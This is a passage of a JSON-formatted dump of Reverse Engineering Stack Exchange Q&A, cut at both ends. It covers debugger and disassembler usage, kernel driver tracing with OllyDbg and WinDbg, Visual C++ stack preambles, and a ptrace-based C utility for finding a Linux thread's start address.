\n", "Title": "How does Ollydbg obtain the memory map (alt+m)?", "Tags": "|windows|memory|dumping|", "Answer": "

To dump memory to a file, see the DbgHelp MiniDumpWriteDump function. You'll get a snapshot of the memory as a dump file (.DMP) which you can then analyze with various tools or by yourself using the DbgEng debugging engine.

\n" }, { "Id": "3930", "CreationDate": "2014-03-21T16:34:12.243", "Body": "

I would like to set up a virtual machine monitor using Microsoft Hyper-V, VMware vSphere/ESX, Xen, or any other alternative hypervisor solution that is able to monitor the execution of a guest OS (a VM within the VMM).

\n\n

In particular, I'd like to be able to view the guest OS' instructions before they are run by the virtual CPU. Additionally, I'd also like to be able to set monitors on some of the guest OS' CPU registers so if they are modified (e.g. on write with a MOV instruction), the guest's state will be suspended at the location where the write occurred (and the rip/eip will point to that instruction).

\n\n

I've been searching for a VMM solution that exposes a way to accomplish my goals, but I couldn't find anything.

\n\n

Does anyone know what the best way of approaching such a thing is? Any recommendations on the hypervisor that I should be using? (I'm guessing that Xen would probably be easiest to modify and debug since it's open source)

\n\n

Thanks a lot.

\n\n

Cheers,

\n\n
\n\n

EDIT: I'll try to explain myself better. I'm attempting to debug code running in kernel-mode (x86-64). Right now, I'm using WinDbg to debug the ring0 code in a virtual machine (VMware).

\n\n

If I could, I would be more than happy in setting a hardware breakpoint (ba) on a memory location and seeing what reads/writes to it. The problem is that my hardware breakpoints are being disabled by the code running in ring0. Basically, this code is saving the contents of the dr7 register off, clearing it, accessing the memory that I'm watching (the memory I set the hardware breakpoint on), and finally is restoring the dr7 register after access. Thus, my hardware breakpoint is never hit. This means I never figure out where the memory was being manipulated from. Suffice it to say that software breakpoints are not an acceptable alternative. Additionally, I've also tried mucking around with the general-detect bit in dr7 and installed my own trap handler to understand if someone's screwing with my hardware breakpoints. However, this code is quite smart and handles this attempt nicely (re: restores the old hook before accessing any of the debug registers).

\n\n

I hope you now see my conundrum. I need to be running at a lower level than ring0 to deal with this code running at ring0. The only way to do that is in a hypervisor.

\n\n

I would like to monitor the contents of say the dr7 register and see what's accessing it (read/writes). If I find the RIP of the faulting code, I'll be able to step through it and understand more of what it's doing.

\n", "Title": "Using a VMM/hypervisor to monitor guest OS execution?", "Tags": "|debugging|kernel-mode|driver|virtual-machines|hypervisor|", "Answer": "

VMware exposes a GDB stub specifically for this purpose. Using this stub, one can connect GDB (or any GDB front-end) to manipulate the guest OS, as if it were a process.

\n\n\n" }, { "Id": "3934", "CreationDate": "2014-03-22T12:11:32.157", "Body": "

So, how does IDA understand that the file was packed by a packer?

\n\n

How does it distinguishes between different types of packers?

\n\n

Are they leave some significant signatures or some patterns of byte code?

\n\n

Or maybe they do modify the header of the file in some way?

\n", "Title": "How does IDA understand that the file was packed by packer?", "Tags": "|ida|packers|", "Answer": "

IDA don't detect type of packer. Also, signatures are not used. Instead, it analyze PE-header: .idata section, entry point and import entries.\nThis method is very accurate, has low false positives.

\n" }, { "Id": "3938", "CreationDate": "2014-03-24T11:59:50.163", "Body": "

How do I get to the entry point of a .exe file using radare2?\nI tried using aa then pdf@sym.main, but a prompt showed saying \"Cannot find function at 0x00000000\"

\n", "Title": "Getting to the entry point using radare2", "Tags": "|radare2|", "Answer": "

The entrypoint can be found using the info command i? especially the entrypoint info command ie

\n\n
[0x00404890]> ie\n[Entrypoints]\nvaddr=0x00404890 paddr=0x00004890 baddr=0x00400000 laddr=0x00000000\n\n1 entrypoints\n
\n\n

Alternatively you can use rabin2 -e <file>.

\n" }, { "Id": "3942", "CreationDate": "2014-03-24T15:30:15.400", "Body": "

I accidentally erased my project from Eclipse, and all I have left is the APK file which I transferred to my phone. Is there a way to reverse the process of exporting an application to the .apk file, so I can get my project back? by using MacOS X ?

\n", "Title": "Reverse engineering from an APK file to a project by MAC", "Tags": "|android|", "Answer": "

See this. You can unzip the classes.dex from your apk file on the mac, and dex2jar should work on a mac as well.

\n\n

The last part, jd, is a windows program, but they have an online demo on their project site - click \"live demo\" in the header, then drag and drop your jar file on the input files box.

\n\n

Edit\nI just noticed there are download links for jd on mac as well, so you don't need to use the online version. You can even use the jd for eclipse plugin on a mac.

\n" }, { "Id": "3947", "CreationDate": "2014-03-25T05:57:47.163", "Body": "

Is there a open-source Linux tool / utility for Linux platform that would recursively search for binary files (executable, shared / static objects, etc), in a folder and display?

\n", "Title": "Binary file search tools", "Tags": "|tools|linux|", "Answer": "

When looking for files containing executable code in a well known format, you could search using find and file:

\n\n
find . -type f -print0 | xargs -0 file | grep -i \"i386\\|x86\\|arm\\|ar archive\"\n
\n\n

This will get you all files which file labeled with the processor name for i386, x86 or arm.

\n\n

Note that there are many filetypes which file does not recognize.\nIt will for instance not recognize java jar files, or android apk files as executable.\nNor will it recognize raw firmware images.

\n\n

What I actually usually do when researching an unknown system:

\n\n\n" }, { "Id": "3948", "CreationDate": "2014-03-25T06:00:32.007", "Body": "

I'm trying to hit a breakpoint that I set in LLDB (CLI), but for whatever reason I'm not hitting my breakpoint. I am messing around with the stock Calculator.app on OS X, and am trying to call / hit my breakpoint when I open the About dialog box of the Calculator.app.

\n\n

I launch the Calculator.app, then I start lldb from a Terminal window. I find the process of the Calculator.app using ps and grep. I attach to the running process using LLDB. I then issue the continue command in LLDB to allow the Calculator.app to continue running.

\n\n

Then I set a breakpoint in LLDB when the following method is called, showAbout

\n\n

I type the following command into LLDB,\n(lldb) breakpoint set --method showAbout

\n\n

However when I click About Calculator from the menu bar it doesn't halt the program, but rather shows the About dialog box for the Calculator.

\n", "Title": "How to set a breakpoint when a method is called using LLDB on OS X?", "Tags": "|debuggers|osx|lldb|", "Answer": "

The Calculator app is stripped as can be seen by running nm.\nYou will need to find the address of the method using class-dump:

\n\n
$ class-dump -A /Applications/Calculator.app | grep showAbout\n- (void)showAbout:(id)arg1; // IMP=0x0000000100009939\n
\n\n

However as the Calculator application is already running, the address has been slided because of ASLR.\nTo find the ASLR slide you can use my tool called get_aslr, like so:

\n\n
$ sudo get_aslr $(pgrep Calculator)\nASLR slide: 0x9508000\n
\n\n

You then add the two numbers together:

\n\n
0x0000000100009939 + 0x9508000 = 0x109511939\n
\n\n

That is the current address of the showAbout: method.\nNow you just need to set the breakpoint in lldb:

\n\n
b *0x109511939\n
\n\n

And it works!

\n" }, { "Id": "3949", "CreationDate": "2014-03-25T07:02:55.783", "Body": "

How do I specify to radare2 that what I'm disassembling when I know it is a DOS MZ executable?

\n\n

As it does not auto-detect this for me.

\n", "Title": "Disassembling an unknown DOS MZ executable using radare2", "Tags": "|disassembly|radare2|", "Answer": "

You can disassemble a DOS 16-bit executable using radare2 as follows:

\n\n

Example using TEXTINST.EXE from the FreeDOS 1.1 CDROM image:

\n\n
bash$ radare2 TEXTINST.EXE\nSS : 214f\nSP : 4c00\nIP : 0\nCS : 0\nNRELOCS: 1\nRELOC  : 1c\nCHKSUM : 0\n[0000:0020]> aa\n[0000:0020]> pd 10\n   ;      [0] va=0x00000020 pa=0x00000020 sz=67272 vsz=67272 rwx=-rwx .text\n            ;-- section..text:\n            0000:0020    b93b03       mov cx, 0x33b\n            0000:0023    be7406       mov si, 0x674\n            0000:0026    89f7         mov di, si\n            0000:0028    1e           push ds\n            0000:0029    a9b580       test ax, 0x80b5\n        |   0000:002c    8cc8         mov ax, cs\n        |   0000:002e    050510       add ax, 0x1005\n        |   0000:0031    8ed8         mov ds, ax\n        |   0000:0033    05f010       add ax, 0x10f0\n        |   0000:0036    8ec0         mov es, ax\n(etc)\n
\n\n

If required, you can force the disassembler, etc. to assume DOS as follows:

\n\n
e asm.arch=x86\ne asm.os=dos\n
\n\n

If you think you have a DOS executable and the above doesn't work, there may be something more subtle going on, and you should post a question showing specifically what you tried, what you expect and what is not working.

\n\n

Note: showing what you tried, etc. is more likely to elicit answers on the SE sites...

\n" }, { "Id": "3955", "CreationDate": "2014-03-25T16:55:19.460", "Body": "

I have started reversing this piece of malware. At some point it creates a service and starts it, then immediately it calls the function DeviceIoControl and the malware went from \"paused\" to \"running\" under ollydbg. I've searched a little bit, and I understand that this function serves to communicate with the service it just had created.

\n\n

But how exactly do I reverse it? How do I know what it does? And how can I continue stepping under ollydbg? Or do I have to move to windbg or some other kernel-mode debugger?

\n", "Title": "how to reverse DeviceIoControl?", "Tags": "|malware|kernel-mode|", "Answer": "

You cannot step into kernel mode from Ollydbg. You need a kernel debugger like windbg, as ollydbg is a user mode debugger.

\n\n

Since you posed the question, I assume you neither have a kernel debugging connection,\nnor the driver where that control code is sent for analyzing it, as answered by Jonathon.

\n\n

Usage of proper security measures to deal with malware assumed and emphasized from here onward.

\n\n

I assume the malware is running already as your query states that you are on DeviceIoControl.

\n\n

I am going to use ollydbg 2.01.

\n\n

Attach ollydbg to an unknown process

\n\n

Press Ctrl+G and start typing ntdll.ntDeviceIo and the list box will show \nntdll.ntDeviceIoControl now select it and follow label.

\n\n

Press F2 to set a breakpoint, and F9 to run the attached process.

\n\n
INT3 breakpoints, item 0\n  Address = 7C90D27E NtDeviceIoControlFile\n  Module = ntdll\n  Status = Active\n  Disassembly = MOV     EAX, 42\n  Comment = ntdll.NtDeviceIoControlFile(guessed Arg1,Arg2,Arg3,Arg4,Arg5,Arg6,Arg7,Arg8,Arg9,Arg10)\n
\n\n

Ollydbg should break when a control code is sent and stack should look like this:

\n\n
CPU Stack\n    Address   Value      ASCII Comments\n    0013EF50  [7C801675  u\u20ac|   ; /RETURN from ntdll.NtDeviceIoControlFile to kernel32.DeviceIoControl+4C\n    0013EF54  /00000090        ; |Arg1 = 90\n    0013EF58  |00000000        ; |Arg2 = 0\n    0013EF5C  |00000000        ; |Arg3 = 0\n    0013EF60  |00000000        ; |Arg4 = 0\n    0013EF64  |0013EF88  \u02c6\u00ef    ; |Arg5 = 13EF88\n    0013EF68  |83050024  $ \u0192   ; |Arg6 = 83050024\n    0013EF6C  |00000000        ; |Arg7 = 0\n    0013EF70  |00000000        ; |Arg8 = 0\n    0013EF74  |0013EFEC  \u00ec\u00ef    ; |Arg9 = 13EFEC\n    0013EF78  |00000004        ; \\Arg10 = 4\n
\n\n

From the specs of DeviceIoControlCode, the first argument points to handle and the sixth argument is the control code

\n\n

Having windbg installed can make things easier from here, but we will not use windbg at this moment as it has a steep learning curve.

\n\n

Open ollydbg handle window and find what does the handle point to (0x90 in the above paste) - it points to a device:

\n\n
Handles, item 9\n  Handle = 00000090\n  Type = File (dev)   <-------- it is a _FILE_OBJECT\n  Refs =    2.\n  Access = 0012019F (FILE_GENERIC_READ|FILE_GENERIC_WRITE)\n  Tag =\n  Info =\n  Translated name = \\Device\\Dbgv\n
\n\n

Now run Process Explorer from SysInternals. Select the unknown process, and press Ctrl+H to make the lower pane show handles.

\n\n

Select the handle 90, right click and select properties. Process Explorer will show the address of the Device Object as noted by Ollydbg. This device object is a File Object:

\n\n

\"enter

\n\n

ollydbg 2.01 can show memory above 0x7fffffff (kernel mode memory) we will use that feature to find the driver associated with this device

\n\n

Read about the FILE_OBJECT structure relevant to your OS. In Windows XP you will find the address of device object at +4 from file object.

\n\n

Select the dump window press Ctrl+G and type in the address process explorer showed viz

\n\n
863c87f0 and follow expression \n\nCPU Dump\nAddress   Hex dump                                         ASCII\n863C87F0  05 00 70 00|A8 D3 51 86|00 00 00 00|00 00 00 00|  p \u00a8\u00d3Q\u2020\n
\n\n

So 8651d3a8 in the paste above points to the device object for this file object.

\n\n

Read about DEVICE_OBJECT structure. In Windows XP, the address of the driver object is at device object + 8. Following there with Ctrl+G -> follow expression as done earlier

\n\n
CPU Dump\nAddress   Hex dump                                         ASCII\n8651D3A8  03 00 B8 00|01 00 00 00|48 2C F1 86|00 00 00 00|  \u00b8    H,\u00f1\u2020\n
\n\n

notice 86f12c48 is driver object. Read about DRIVER_OBJECT structure.

\n\n

+0xc is Driver Start and +0x10 is Driver Size --> Ctrl+G to follow:

\n\n
CPU Dump\nAddress   Hex dump                                         ASCII\n86F12C48  04 00 A8 00|A8 D3 51 86|12 00 00 00|00 30 2A A9|  \u00a8 \u00a8\u00d3Q\u2020    0*\u00a9\n86F12C58  00 3D 00 00|48 9C D8 86|F0 2C F1 86|18 00 18 00|  =  H\u0153\u00d8\u2020\u00f0,\u00f1\u2020 \n
\n\n

a92a3000 is DriverStart and size of driver is 3d00.

\n\n

Ctrl+G to follow:

\n\n
CPU Dump\nAddress   Hex dump                                         ASCII\nA92A3000  4D 5A 90 00|03 00 00 00|04 00 00 00|FF FF 00 00| MZ       \u00ff\u00ff\nA92A3010  B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00| \u00b8       @\n
\n\n

The famous IMAGE_DOS_HEADER is noticeable.

\n\n

Select from a92a3000 to a92a6d00, Right-Click -> Edit -> binary copy and paste the bytes to a new file in any hex editor (HxD for example), and save it as malwaredriver.sys :)

\n\n
foo:\\>dir malwaredriver.sys\n\n26/03/2014  14:04            15,616 malwaredriver.sys\n\n\\>set /a 0x3d00\n15616\n\\>file malwaredriver.sys\n\nmalwaredriver.sys; PE32 executable for MS Windows (native) Intel 80386 32-bit\n\n:\\>\n
\n\n

You can now analyze the driver statically.

\n\n

Read about DRIVER_OBJECT structure carefully to find you can readily know the handler for IRP_MJ_DEVICE_IO_CONTROL handler in ollydbg. It would be at +0x70 from Driverobject in XP. For this particular driver, the IRP_MJ_DEVICE_IO_CONTROL_HANDLER is at

\n\n
CPU Dump\nAddress   Value      ASCII Comments\n86F12CB8   A92A4168  hA*\u00a9\n
\n\n

You can follow and disassemble this memory in ollydbg. Select cpu dump press ctrl+g to disassemble an unknown driver

\n\n
CPU Disasm\nAddress   Command                             Comments\nA92A4168  MOV     EDI, EDI                    ; IRP_MJ_DEVICE_IO_CONTROL_HANDLER(pdevob,pirp)\nA92A416A  PUSH    EBP\nA92A416B  MOV     EBP, ESP\nA92A416D  SUB     ESP, 24\nA92A4170  PUSH    EBX\nA92A4171  PUSH    ESI\nA92A4172  MOV     ESI, DWORD PTR SS:[EBP+0C]  ; irp\nA92A4175  MOV     EAX, DWORD PTR DS:[ESI+60]  ; nt!_irp -y Tail.overlay.cur->maj\nA92A4178  MOV     EDX, DWORD PTR DS:[ESI+0C]  ; nt!_irp Tail.overlay.cur->par.DeviceIo.ty\nA92A417B  XOR     EBX, EBX\nA92A417D  PUSH    EDI\nA92A417E  LEA     EDI, [ESI+18]\nA92A4181  MOV     DWORD PTR DS:[EDI], EBX\nA92A4183  MOV     DWORD PTR DS:[ESI+1C], EBX\nA92A4186  MOVZX   ECX, BYTE PTR DS:[EAX]\nA92A4189  SUB     ECX, EBX\nA92A418B  JE      SHORT A92A41F7              ; case 0 create\nA92A418D  DEC     ECX\nA92A418E  DEC     ECX\nA92A418F  JE      SHORT A92A41CA              ; case 2 close\nA92A4191  SUB     ECX, 0C\nA92A4194  JNE     A92A42BB                    ; unhandled\nA92A419A  MOV     ECX, DWORD PTR DS:[EAX+0C]  ; ioctl\nA92A419D  MOV     EBX, ECX\nA92A419F  AND     EBX, 00000003\nA92A41A2  CMP     BL, 3\nA92A41A5  JNE     SHORT A92A41AC              ; buff align\nA92A41A7  MOV     EBX, DWORD PTR DS:[ESI+3C]\nA92A41AA  JMP     SHORT A92A41AE\nA92A41AC  MOV     EBX, EDX                    ; inbuff\nA92A41AE  PUSH    DWORD PTR SS:[EBP+8]        ; devobj\nA92A41B1  PUSH    EDI\nA92A41B2  PUSH    ECX\nA92A41B3  PUSH    DWORD PTR DS:[EAX+4]        ; bufflen\nA92A41B6  PUSH    EBX\nA92A41B7  PUSH    DWORD PTR DS:[EAX+8]        ; ioctlcode\nA92A41BA  PUSH    EDX\nA92A41BB  PUSH    1\nA92A41BD  PUSH    DWORD PTR DS:[EAX+18]       ; fobj\nA92A41C0  CALL    A92A3EEC                    ; actual_handler\n
\n\n

Here the ioctl code is handled:

\n\n
CPU Disasm\nAddress   Command                                  Comments\nA92A3EF8  MOV     ESI, DWORD PTR SS:[EBP+24]\nA92A3EFB  XOR     EBX, EBX\nA92A3EFD  MOV     DWORD PTR DS:[ESI], EBX\nA92A3EFF  MOV     DWORD PTR DS:[ESI+4], EBX\nA92A3F02  MOV     ECX, DWORD PTR SS:[EBP+20]\nA92A3F05  MOV     EAX, 83050020\nA92A3F0A  CMP     ECX, EAX\nA92A3F0C  JA      A92A40F1  this code will take this path as 24 > 20\n
\n\n

===========

\n\n
CPU Disasm\nAddress     Hex dump                  Command                Comments\nA92A40F1    81F9 24000583             CMP     ECX, 83050024\nA92A40F7    74 3F                     JE      SHORT A92A4138 path taken\n
\n\n

The control code does this work and sends some 320 on some condition

\n\n
[code]\nCPU Disasm\nAddress   Command                             Comments\nA92A4138  PUSH    4\nA92A413A  POP     EAX\nA92A413B  CMP     DWORD PTR SS:[EBP+1C], EAX\nA92A413E  JB      SHORT A92A4152\nA92A4140  MOV     ECX, DWORD PTR SS:[EBP+18]\nA92A4143  CMP     ECX, EBX\nA92A4145  JE      SHORT A92A4152\nA92A4147  MOV     DWORD PTR DS:[ECX], 320      <------------\nA92A414D  MOV     DWORD PTR DS:[ESI+4], EAX\nA92A4150  JMP     SHORT A92A4158\nA92A4152  MOV     DWORD PTR DS:[ESI], C000000D\nA92A4158  MOV     AL, 1\nA92A415A  CALL    A92A46D5\nA92A415F  RETN    24\n
\n\n

The driver analysed here is the driver loaded by dbgview (dbgv.sys) from SysInternals. This control code checks for an incompatible version of driver loaded in memory. Follow through can be practiced with the specific driver and specific version:

\n\n
(4.75) build time Thu Aug 07 04:51:27 2008\n
\n\n

EDIT

\n\n

With windbg inastalled you can do the same with just few commands as posted below

\n\n
C:\\>tlist | grep -i dbgview\n\n3724 Dbgview.exe       DebugView on \\\\ (local)\n\nC:\\>kd -kl -c \".foreach /pS 1 /ps 4 (place  { .shell -ci \\\"!handle 0 3 0n3724 Fi\nle \\\" grep File } ) {dt nt!_FILE_OBJECT -y Dev->Dri->DriverS place};q\" | grep -i\n +0x00c\n +0x00c DriverStart       : 0xf7451000 Void  \n +0x00c DriverStart       : 0xf73c5000 Void   \n +0x00c DriverStart       : 0xa87f9000 Void   \n +0x00c DriverStart       : 0xf7451000 Void   \n +0x00c DriverStart       : 0xf7451000 Void   \n\nC:\\>kd -kl -c \".reload ; lm a (0xf7451000); lm a (0xf73c5000) ; lm a (0xa87f9000);q\" | grep -i defer\n\n f7451000 f746f880   ftdisk     (deferred)    \n f73c5000 f73db880   KSecDD     (deferred)    \n a87f9000 a87fcd00   Dbgv       (deferred)    \n\n\nC:\\>kd -kl -c \".writemem  malware.sys a87f9000 a87fcfff ;q\" | grep -A 1 lkd\n\n lkd> kd: Reading initial command '.writemem  malware.sys a87f9000 a87fcfff ;q'     \n Writing 4000 bytes........    \n\nC:\\>file malware.sys  \n\n malware.sys; PE32 executable for MS Windows (native) Intel 80386 32-bit   \n
\n\n

An explanation for the commands above as follows

\n\n
kd -kl is local kernel debugging\n\n!handle command has the capability to search for kernel handle  \nwhen you input a Pid \n\nThe explanation for arguments for this commands are \n\n 0 = all handles \n 3 = default flag provides basic+object information\n 0n3724 = pid (can be from task manager\n File = type of Object to search for \n\n\n!dt can display memebers of nested structures with ease \n-y with dt takes partial inputs (wild card entries ) \n and displays  all matching structure members \n\nand the output is manipulatable with any text / stream handling \nsoftware like grep , sed . awk . find etc\n
\n" }, { "Id": "3969", "CreationDate": "2014-03-26T15:31:27.673", "Body": "

VM packers like Code Virtualizer and VMProtect seem challenging to existing reverse engineering work, especially static approach like IDA Pro.

\n\n

According to this slides

\n\n

www.hex-rays.com/products/ida/support/ppt/caro_obfuscation.ppt

\n\n

from Hex-rays, IDA Pro requires experienced reverse engineer to manually recognize the opcode array and understand the semantic, then decode the bytecode array..

\n\n

I myself use IDA Pro to deal with simple quicksort program using Code Virtualizer, and I can share two pics.

\n\n

\"enter

\n\n

See, I use Code Virtualizer to protect this part and IDA Pro can not go to 0X599050h.

\n\n

\"enter

\n\n

See, the size of relocation section has a significant growth.

\n\n

So my questions:

\n\n
    \n
  1. Can IDA Pro automatically deal with VM obfuscated binaries?
    2. \n
  2. Any other interesting materials on the state-of-art in this area?
    3. \n
\n\n

Thank you!

\n", "Title": "Can IDA Pro automatically deal with VM obfuscated binaries?", "Tags": "|ida|virtual-machines|virtualizers|", "Answer": "

There's now (from 2020) a plugin for IDA Pro that helps in working with obfuscated binaries. It is called D810: Creating an extensible deobfuscation plugin for IDA Pro.

\n" }, { "Id": "3971", "CreationDate": "2014-03-26T20:58:54.170", "Body": "

I was debugging a simple x86-64 program in Visual Studio 2010 and I noticed that the main function preamble is different from the GNU GCC compiled version of the same C program.

\n\n

To illustrate what I mean here is the C code for the main function:

\n\n
int main() {\n  int a,b,c;\n  a=1;\n  b=2;\n  c=proc(a,b);\n  return c;\n}\n
\n\n

The Visual Studio 2010 disassembly of the main function preamble for the VC++ version is:

\n\n
01211410  push        ebp  \n01211411  mov         ebp,esp  \n01211413  sub         esp,0E4h  \n01211419  push        ebx  \n0121141A  push        esi  \n0121141B  push        edi  \n0121141C  lea         edi,[ebp-0E4h]  \n01211422  mov         ecx,39h  \n01211427  mov         eax,0CCCCCCCCh  \n0121142C  rep stos    dword ptr es:[edi]\n
\n\n

The rest of the function code of the VC++ version is:

\n\n
0081141E  mov         dword ptr [a],1  \n00811425  mov         dword ptr [b],2  \n0081142C  mov         eax,dword ptr [b]  \n0081142F  push        eax  \n00811430  mov         ecx,dword ptr [a]  \n00811433  push        ecx  \n00811434  call        proc (81114Fh)  \n00811439  add         esp,8  \n0081143C  mov         dword ptr [c],eax  \n0081143F  mov         eax,dword ptr [c]  \n00811442  pop         edi  \n00811443  pop         esi  \n00811444  pop         ebx  \n00811445  add         esp,0E4h  \n0081144B  cmp         ebp,esp  \n0081144D  call        @ILT+300(__RTC_CheckEsp) (811131h)  \n00811452  mov         esp,ebp  \n00811454  pop         ebp  \n00811455  ret \n
\n\n

The disassembly of the main function preamble for the GCC compiled version is:

\n\n
00400502  push   rbp\n00400503  mov    rbp,rsp\n00400506  sub    rsp,0x10\n
\n\n

The rest of the main function code of the GCC version is:

\n\n
004004e8  mov    DWORD PTR [rbp-0xc],0x1\n004004ef  mov    DWORD PTR [rbp-0x8],0x2\n004004f6  mov    edx,DWORD PTR [rbp-0x8]\n004004f9  mov    eax,DWORD PTR [rbp-0xc]\n004004fc  mov    esi,edx\n004004fe  mov    edi,eax\n00400500  call   0x4004cc <proc>\n00400505  mov    DWORD PTR [rbp-0x4],eax\n00400508  mov    eax,DWORD PTR [rbp-0x4]\n0040050b  leave\n0040050c  ret\n
\n\n

The same disassembly is given by objdump version 2.22.90.20120924.

\n\n

I realize that the first 3 instructions for both preambles do the following:

\n\n
    \n
  1. Save old EBP (later needed to remove stack frame)
    2. \n
  2. Top of old stack frame becomes EBP of new frame
    3. \n
  3. Reserve space for local variables. The function has 3 integer local variables.
    4. \n
\n\n

Question 1: What is the purpose of 4th instruction in the VC++ version? I see its saving EBX, but why? It never uses it afterwards.

\n\n

For the remaining instructions of the VC++ version preamble, I relized that it initializes 39h dwords with the value 0CCCCCCCCh. Which makes sense because 39h * 4h = 0E4h.

\n\n

Question 2: Why is this space initialized with the value 0CCCCCCCCh? Is this value better than 00000000h in some way?

\n\n

Question 3: Why does the VC++ version allocate 0E4h bytes for 3 local variables? Is this number random? If not, how is it computed?

\n\n

Question 4: Is this space used for something else beside local variables? If yes, for what?

\n", "Title": "Understanding x86 C main function preamble created by Visual C++", "Tags": "|windows|decompilation|x86|c|", "Answer": "

The extra space on the stack is there to support the Edit and Continue functionality and can be eliminated by changing /Zl to /Zi. The saved ebx and initialization of the stack to 0xcc is done by the /RTC Runtime Checking Option.

\n\n

There was a similar question asked on SO.

\n\n

The windows example, by the way, is clearly a 32 bit binary. x64 windows calling convention uses RCX, RDX, R8, and R9 as the first 4 integer/pointer arguments (instead of the stack).

\n" }, { "Id": "3974", "CreationDate": "2014-03-27T01:36:42.070", "Body": "

I am trying to debug an iOS app with gdb and when I hit a breakpoint I get this error, and can not continue.

\n\n
Program received signal SIGTRAP, Trace/breakpoint trap.\n[Switching to process 190 thread 0x6fa7]\n0x000ae150 in dyld_stub_pthread_key_create ()\n
\n\n

Does anyone know how I can continue debugging without closing and opening back gdb?

\n", "Title": "Can not continue debugging after SIGTRAP", "Tags": "|ida|disassembly|assembly|gdb|ios|", "Answer": "

In case it is running into this error Received a SIGTRAP: Trace/breakpoint trap even though there are no breakpoints in the program, check the power of Hardware Debugger e.g. J-Link.

\n\n

In my case, J-Link was powered on but the port wasn't delivering enough power. Changing the port to high-power one fixed this.

\n" }, { "Id": "3982", "CreationDate": "2014-03-27T15:52:45.423", "Body": "

Problem Statement

\n\n

I'm trying to get the address of a running thread's start_routine as passed in the pthread_create() call.

\n\n

Research so far

\n\n

It is apparently not in /proc/[tid]/stat or /proc/[tid]/status.

\n\n

I found that start_routine is a member of struct pthread and gets set by pthread_create[1].\nIf I knew the address of this struct, I could read the start_routine address.

\n\n

I also found td_thr_get_info defined in the debugging library thread_db.h [2]. It fills a struct with information about the thread, including the start function [3]. But, it needs a struct td_thragent as an argument and I don't know how to create it properly.

\n", "Title": "How can I get a running thread's start address on linux?", "Tags": "|linux|thread|", "Answer": "

Thanks to the hints of blabb and Jonathon Reinhart I was able to write a get_thread_start_address() function. It reads the same address used by pthread_start_thread() to call the start routine. In Kernel 3.2.0-4-686-pae this address is GS+0x234. I use ptrace to get the GS register and the actual GS segment address. Here is my code:

\n\n
#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <sys/ptrace.h>\n#include <sys/user.h>\n#include <sys/wait.h>\n#include <asm/ldt.h>\n#include <asm/ptrace.h>\n\nint attach(int tid);\nint detach(int tid);\nvoid print_error(char* func_name, int errnumber);\n\nint get_gs_register(int tid){\n    struct user_regs_struct regs;\n    int ret = ptrace(PTRACE_GETREGS, tid, NULL, &regs);\n    if(ret == -1){\n        print_error(\"PTRACE_GETREGS\", errno);\n        return -1;\n    }\n    return regs.xgs;\n}\n\n// This is needed to get the actual GS segment address from the GS register value\nint get_thread_area_base(tid, gs){\n    struct user_desc desc;\n    memset(&desc, 0, sizeof(desc));\n    int ret = ptrace(PTRACE_GET_THREAD_AREA, tid, gs / LDT_ENTRY_SIZE, &desc);\n    if(ret == -1){\n        print_error(\"PTRACE_GET_THREAD_AREA\", errno);\n        return -1;\n    }\n    return desc.base_addr;\n}\n\nvoid* get_start_address(tid, start_address_pointer){\n    char start_addr_str[4];\n    int mem_file;\n    char mem_file_path[255];\n    snprintf(mem_file_path, sizeof(mem_file_path), \"/proc/%i/mem\", tid);\n    mem_file = open(mem_file_path, O_RDONLY);\n    if(mem_file == -1){\n        print_error(\"open()\", errno);\n        return (void*) -4;\n    }\n    int ret = lseek(mem_file, start_address_pointer, SEEK_SET);\n    if(ret == -1){\n        print_error(\"lseek()\", errno);\n        return (void*) -5;\n    }\n\n    ret = read(mem_file, start_addr_str, 4);\n    if(ret == -1){\n        print_error(\"read()\", errno);\n        return (void*) -6;\n    }   \n\n    return (void*) *((int*)start_addr_str);\n}\n\nint main(int argc, char* argv[]){\n    if(argc <= 1){\n        printf(\"Usage: %s TID\\n\", argv[0]);\n        return -1;\n    }   \n    int tid = atoi(argv[1]);    \n    int gs;\n    int thread_area_base;\n    int start_address_offset = 0x234;\n    void* start_address;\n\n    int ret = attach(tid);\n    if(ret == -1) return -1;\n\n    gs = get_gs_register(tid);\n    if(gs == -1){\n        detach(tid);\n        return -2;\n    }\n\n    thread_area_base = get_thread_area_base(tid, gs);\n    if(thread_area_base == -1){\n        detach(tid);\n        return -3;\n    }\n    printf(\"thread_area_base: %p\\n\", (void*) thread_area_base);\n    unsigned int start_address_pointer = thread_area_base + start_address_offset;\n    printf(\"start_address_pointer: %p\\n\", (void*) start_address_pointer);\n\n    start_address = get_start_address(tid, start_address_pointer);\n    printf(\"start_address: %p\\n\", start_address);\n\n    detach(tid);\n    return 0;\n}\n\nint attach(int tid){\n    int status; \n    int ret = ptrace(PTRACE_ATTACH, tid, NULL, NULL);\n    if(ret == -1){\n        print_error(\"PTRACE_ATTACH\", errno);\n    }\n\n    ret = waitpid(-1, &status, __WALL);\n    if(ret == -1){\n        print_error(\"waitpid()\", errno);\n    }\n    return ret;\n}   \n\nint detach(int tid){\n    int ret = ptrace(PTRACE_DETACH, tid, NULL, NULL);\n    if(ret == -1){\n        print_error(\"PTRACE_DETACH\", errno);\n    }\n    return ret;\n}\n\nvoid print_error(char* func_name, int errnumber){\n    printf(\"%s failed. %i, %s\\n\", func_name, errnumber, strerror(errnumber));\n}\n
\n" }, { "Id": "3983", "CreationDate": "2014-03-28T12:50:55.777", "Body": "

I've been reversing a sample of the Uroborus trojan for my own learning joy. I'm having a hard time following it once it loads a windows kernel driver that implements the rootkit. I've set up my environment for Kernel debugging (using IDA's windbg plugin) and set a breakpoint for the new driver (it's called Fdisk.sys, so I've been typing \"bu fdisk.sys!DriverEntry\"). However, IDA never breaks when the driver is loaded. I can tell that it has run because it starts hiding a registry key (Ultra3), and dumping the memory and using Volatility to look at unloaded modules, I can see that fdisk.sys was unloaded. I can also confirm that it's installed hooks into a number of kernel API's. How do I get IDA/windbg to break on the driver before it gets to run?

\n", "Title": "How to break on not-yet-loaded kernel driver", "Tags": "|ida|malware|debugging|kernel-mode|", "Answer": "

It may be late but:\nIf you use WinDBG(kd) to debug the kernel use

\n\n
sxe -c \".echo fdisk loaded;\" ld:fdisk.sys\n
\n\n

this is usable in user and kernel mode and cause the debugger break-in after module loaded and before entry-point.

\n" }, { "Id": "3992", "CreationDate": "2014-03-30T12:00:12.417", "Body": "

